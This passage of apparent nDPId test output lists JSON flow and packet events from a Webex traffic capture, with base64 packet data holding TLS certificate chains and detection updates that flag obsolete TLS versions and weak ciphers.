gI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccABNQwggTQMIIEOaADAgECAhAlDOjgMGEunyuJ9wVNfPj9MA0GCSqGSIb3DQEBBQUAMF8xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMDgwMDAwMDBaFw0yMTExMDcyMzU5NTlaMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJXSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZVIUm5SuPG5\/r9aGRwjNJ2ENjalJL0o\/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWRMxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy\/5HvSt+T8WVrg6d1NFDwGdz4xQIfuU\/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOCAZswggGXMA8GA1UdEwEB\/wQFMAMBAf8wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vY3BzMB0GA1UdDgQWBBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzBtBggrBgEFBQcBDARhMF+hXaBbMFkwVzBVFglpbWFnZS9naWYwITAfMAcGBSsOAwIaBBSP5dMahqyNjmvDz4Bq1EgYLHsZLjAlFiNodHRwOi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvLmdpZjA0BggrBgEFBQcBAQQoMCYwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLnZlcmlzaWduLmNvbTA+BgNVHSUENzA1BggrBgEFBQcDAQYIKwYBBQUHAwIGCCsGAQUFBwMDBglghkgBhvhCBAEGCmCGSAGG+EUBCAEwDQYJKoZIhvcNAQEFBQADgYEAEwLd+OiGAPJa+PggDFmIYgfOzvdO+btZoZjl4TjdTrxmGNOt6xjyDcltPkqUIMM8ur1lVMavRLMQrSxrPqvXB7a4gWPF+V4u5Spnzs0zDCrXiVYDIx+zvug6CFm07EU194pb\/2bPUK\/GbVeNGXi3uaLRV+ofmkuvusmOEn7Gvf8OAAAA"} +01111{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":356,"source":"webex.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":6,"flow_first_seen":1444570636387,"flow_last_seen":1444570636828,"flow_tot_l4_data_len":4142,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":690,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41386,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +03883{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":357,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":829761,"pkt_caplen":2633,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2633,"pkt_l4_len":2599,"pkt":"ABoRAAACABoRAAABCABFAAo7AbpAABAGq1VARGlhCggAAQG7yKr7mNrVBGcqu1AY\/\/+jjwAAMIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxwAE1DCCBNAwggQ5oAMCAQICECUM6OAwYS6fK4n3BU18+P0wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEwODAwMDAwMFoXDTIxMTEwNzIzNTk1OVowgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAryQICCl6NZ5gDKrnSztO3Hy8PEUcuyvg\/ikC+VcIo2SFFSf18a3IMYldIugqqqZCs4\/4uVW3sbdLs\/6PfgdX7O9D22ZiFWHPYA2k2N744MNiCD1UE+tJyllUhSblK48bn+v1oZHCM0nYQ2NqUkvSj+hwUU3RiWl7x3D2s9wSdNt7XUtW05a\/FXehsPSiJfKvHJJnGOX0BgTvkLnkAOTdOrUZ\/wK69Dzu4IvrN4vs9Nes8vbwPa\/ddZEzGR0cQMt0JBkhk9kU\/qwqUseP1QRJ5I1jR4g8aYPL\/ke9K35PxZWuDp3U0UPAZ3PjFAh+5T+fc7gzCs9dPzSHloruU+glFQIDAQABo4IBmzCCAZcwDwYDVR0TAQH\/BAUwAwEB\/zAxBgNVHR8EKjAoMCagJKAihiBodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9wY2EzLmNybDAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9jcHMwHQYDVR0OBBYEFH\/TZafC3ey78DAJ80M5+gKvMzEzMG0GCCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI\/l0xqGrI2Oa8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AudmVyaXNpZ24uY29tMD4GA1UdJQQ3MDUGCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwMGCWCGSAGG+EIEAQYKYIZIAYb4RQEIATANBgkqhkiG9w0BAQUFAAOBgQATAt346IYA8lr4+CAMWYhiB87O9075u1mhmOXhON1OvGYY063rGPINyW0+SpQgwzy6vWVUxq9EsxCtLGs+q9cHtriBY8X5Xi7lKmfOzTMMKteJVgMjH7O+6DoIWbTsRTX3ilv\/Zs9Qr8ZtV40ZeLe5otFX6h+aS6+6yY4Sfsa9\/w4AAAA="} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":357,"source":"webex.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":8,"flow_first_seen":1444570636359,"flow_last_seen":1444570636829,"flow_tot_l4_data_len":4182,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2599,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.97","src_port":51370,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00851{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":830638,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFuc+NAAEAGAcEKCAABQER5meEvAbvnI7F0GNxeD1AYTE9xBgAAFgMBAQYQAAECAQAEJ\/W6AMtMNXfn+z8cZ1EpSauHEvV67C4BIPYGlTr8kboXB9Oq3NXtbsq979Zt74ZTxyldimsSabvCofi01oHiQl5fNMdel1C7y+fi0Ru9KrE5KKP0VIggXSQaBHNsRwU2v6UOVt8Iztltdv0flcWC6UkhfdODoC+ZN\/7PU1vRo\/v1hllBNXjnBma7emhIIACqnC85yKNJ1wThEx64SKTaN23yVcYcgZz0j3zf1KlB9qw4xTefzdb25EOIh9Y0P41fH6BlEUyaMakCXN\/+eNlWfkNgKFeUQ47CAlSUTcLTInY1TaJWxvxGjbJuwCKt8un\/2irPicwzgLDFHuaSgS6TFAMBAAEBFgMBADCXURkOxCraVsD13drdn27VNH9KrjOT3DUDaII8EzfCpFKhxTweqwisHpGfWUrNgAg="} +00410{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":831131,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbtAABAGpS9ARHmZCggAAQG74S8Y3F4P5yOyulAQ\/\/\/4OQAA"} +00407{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":831481,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoY+RAAEAGIz0KCAABQERpYpEJAbvtraFaElJuSVAQTO8MzgAA"} +00408{"flow_id":23,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":831985,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo2ltAAEAGrMAKCAABQERpZ6GqAbsG3RmZ+SL2ClAQTO\/8JwAA"} +00407{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":832295,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo6IVAAEAGnpwKCAABQERpYciqAbsEZyq7+5jk6FAQUJjRhAAA"} +00850{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":839473,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu6IZAAEAGnVUKCAABQERpYciqAbsEZyq7+5jk6FAYUJjctgAAFgMBAQYQAAECAQBXELeE22orfRHyO7iYVT1m6q3lbIWCe39BzPhHISO8mVEhxzNXSnjyJqJ7t4xvw2RpyedoWUDRQV5M5duqi39l8huSgTr6HUqiPPLrK8H5+YBDkhleHW6xnrG35wBP2sHcBJvySQB0nX7o5+d7iLVUEjuceFEoGz9YiluMpe80JFKVXsu\/EsmYs4FJN0AxRBV4Rg+jzwr3ZRA\/Yf5JIXpge2rbhxPpXr3jpIJ9gQF\/9ttkamjTXFLyMyBlPJ93LtBm40CDLQUP2M5qOJ+2kCU3LGWbK1M9ZrZeaq2uuYufK9LH0wNKfvRQ4QngpGArVSc9BtMjm5o0S0uia8YXpvBVFAMBAAEBFgMBADDeYY6oRb1Sx58+OoYccdOlQcbidfJ+XvnG7OkDkiJ73s0dhqmoA0U2bunZHo5tGpQ="} +00410{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":842642,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAbxAABAGtWZARGlhCggAAQG7yKr7mOToBGcsAVAQ\/\/8g1wAA"} +05714{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":365,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570636,"pkt_ts_usec":894711,"pkt_caplen":3993,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":3993,"pkt_l4_len":3959,"pkt":"ABoRAAACABoRAAABCABFAA+LAb1AABAGlf9ARHlkCggAAQG7y\/uPqobccFV5ZFAY\/\/+KJwAAFgMBD14CAABNAwFWGmYS\/Z\/DgIaC4F3A6vWFfTwKeM+7hxQ\/MLnp7eykmCC0VhtNO44CsjutlOFpXxkFi7ilYsk5xuyo2fo3aKYyQQA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFODCCBCCgAwIBAgIQUT+5dDhwtzRAQY0wkwaZ\/zANBgkqhkiG9w0BAQsFADCByjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMTMxMDMxMDAwMDAwWhcNMjMxMDMwMjM1OTU5WjB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAstgFyhx0LbUXVjnFSlIJluhL2AzxaJ+aQihiw6UwU35VEYJbA3oNL+F5BMm0lncZgQGUWfm893qZJ4Itt4PdWid\/sgN6nFMl6UgfRk\/InSn4vnlW9vf92Tpo2otLgjNBEsPIPMzWlnqEIRoiBAMnF4scaGGTDw5RgDMdtLXO637QYqzus3sBdO9pNevK1T2p7peYyo2qRA4lmUoVlqTObQJUHypqJuIGOmNIrLRM0XWTUP8TL9ba4cYY9Z\/JJV3zADreJk20KQnNDz0jbxZKgRb78oMQw7jW2FUyPfG9D72MUpVKFpd6UiFjdS8W+cRmvvW1Cdj\/JwDNRHxvSz+w9wIDAQABo4IBYzCCAV8wEgYDVR0TAQH\/BAgwBgEB\/wIBADAwBgNVHR8EKTAnMCWgI6Ahhh9odHRwOi8vczEuc3ltY2IuY29tL3BjYTMtZzUuY3JsMA4GA1UdDwEB\/wQEAwIBBjAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zMi5zeW1jYi5jb20wawYDVR0gBGQwYjBgBgpghkgBhvhFAQc2MFIwJgYIKwYBBQUHAgEWGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vY3BzMCgGCCsGAQUFBwICMBwaGmh0dHA6Ly93d3cuc3ltYXV0aC5jb20vcnBhMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccABNQwggTQMIIEOaADAgECAhAlDOjgMGEunyuJ9wVNfPj9MA0GCSqGSIb3DQEBBQUAMF8xCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjE3MDUGA1UECxMuQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMDgwMDAwMDBaFw0yMTExMDcyMzU5NTlaMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAK8kCAgpejWeYAyq50s7Ttx8vDxFHLsr4P4pAvlXCKNkhRUn9fGtyDGJXSLoKqqmQrOP+LlVt7G3S7P+j34HV+zvQ9tmYhVhz2ANpNje+ODDYgg9VBPrScpZVIUm5SuPG5\/r9aGRwjNJ2ENjalJL0o\/ocFFN0Ylpe8dw9rPcEnTbe11LVtOWvxV3obD0oiXyrxySZxjl9AYE75C55ADk3Tq1Gf8CuvQ87uCL6zeL7PTXrPL28D2v3XWRMxkdHEDLdCQZIZPZFP6sKlLHj9UESeSNY0eIPGmDy\/5HvSt+T8WVrg6d1NFDwGdz4xQIfuU\/n3O4MwrPXT80h5aK7lPoJRUCAwEAAaOCAZswggGXMA8GA1UdEwEB\/wQFMAMBAf8wMQYDVR0fBCowKDAmoCSgIoYgaHR0cDovL2NybC52ZXJpc2lnbi5jb20vcGNhMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMD0GA1UdIAQ2MDQwMgYEVR0gADAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vY3BzMB0GA1UdDgQWBBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzBtBggrBgEFBQcBDARhMF+hXaBbMFkwVzBVFglpbWFnZS9naWYwITAfMAcGBSsOAwIaBBSP5dMahqyNjmvDz4Bq1EgYLHsZLjAlFiNodHRwOi8vbG9nby52ZXJpc2lnbi5jb20vdnNsb2dvLmdpZjA0BggrBgEFB